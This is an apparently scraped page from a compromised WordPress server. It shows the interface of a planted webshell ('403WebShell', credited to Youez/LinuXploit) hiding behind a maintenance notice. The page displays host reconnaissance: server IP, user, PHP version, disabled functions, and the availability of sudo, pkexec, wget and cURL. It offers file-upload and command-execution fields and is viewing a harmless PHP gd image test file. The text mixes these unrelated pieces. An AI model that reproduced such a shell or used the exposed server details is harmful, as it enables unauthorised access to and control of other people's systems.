WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
Uname:Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

Base Dir : /var/www/eduesan

User : www-data


403WebShell
403Webshell
Server IP : 202.131.237.196  /  Your IP : 216.73.216.192
Web Server : nginx/1.14.0
System : Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/php/72/src/ext/gd/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/php/72/src/ext/gd/tests/imagecopyresampled_variation1.phpt
--TEST--
Test for correct colors of imagecopyresampled() wrt. alpha
--SKIPIF--
<?php
if (!extension_loaded('gd')) die('skip ext/gd required');
?>
--FILE--
<?php

const EXP_RED = 66;
const EXP_GREEN = 66;
const EXP_BLUE = 133;
const EXP_ALPHA = 32;

/* create the source image */
$im = imagecreatetruecolor(10, 10);
imagealphablending($im, false);
$solid = imagecolorallocate($im, 0, 100, 150);
$transparent = imagecolorallocatealpha($im, 200, 0, 100, 64);

/* draw a checker pattern */
for ($i = 0; $i < imagesx($im); $i++) {
    for ($j = 0; $j < imagesy($im); $j++) {
        imagesetpixel($im, $i, $j, ($i%2 != $j%2 ? $solid : $transparent));
    }
}

/* create the destination image */
$copy = imagecreatetruecolor(5, 5);
imagealphablending($copy, false);
imagesavealpha($copy, true);
imagecopyresampled($copy, $im, 0,0, 0,0, 5,5, 10, 10);

/* assert all pixels have the same color */
$color = imagecolorat($copy, 3, 3);
for ($i = 0; $i < imagesx($copy); $i++) {
    for ($j = 0; $j < imagesy($copy); $j++) {
        if (imagecolorat($copy, $i, $j) != $color) {
            echo 'different pixel values', PHP_EOL;
        }
    }
}

/* assign actual component values */
$red = ($color & 0xFF0000) >> 16;
$green = ($color & 0x00FF00) >> 8;
$blue = ($color & 0x0000FF);
$alpha = ($color & 0x7F000000) >> 24;

/* test for expected component values */
if (!($red >= EXP_RED - 1 && $red <= EXP_RED + 1)) {
    printf("red: expected roughly %d, got %d\n", EXP_RED, $red);
}
if (!($green >= EXP_GREEN - 1 && $green <= EXP_GREEN + 1)) {
    printf("green: expected roughly %d, got %d\n", EXP_GREEN, $green);
}
if (!($blue >= EXP_BLUE - 1 && $blue <= EXP_BLUE + 1)) {
    printf("blue: expected roughly %d, got %d\n", EXP_BLUE, $blue);
}
if (!($alpha >= EXP_ALPHA - 1 && $alpha <= EXP_ALPHA + 1)) {
    printf("alpha: expected roughly %d, got %d\n", EXP_ALPHA, $alpha);
}

imagedestroy($copy);
imagedestroy($im);

echo 'DONE';
?>
--EXPECT--
DONE

Youez - 2016 - github.com/yon3zu
LinuXploit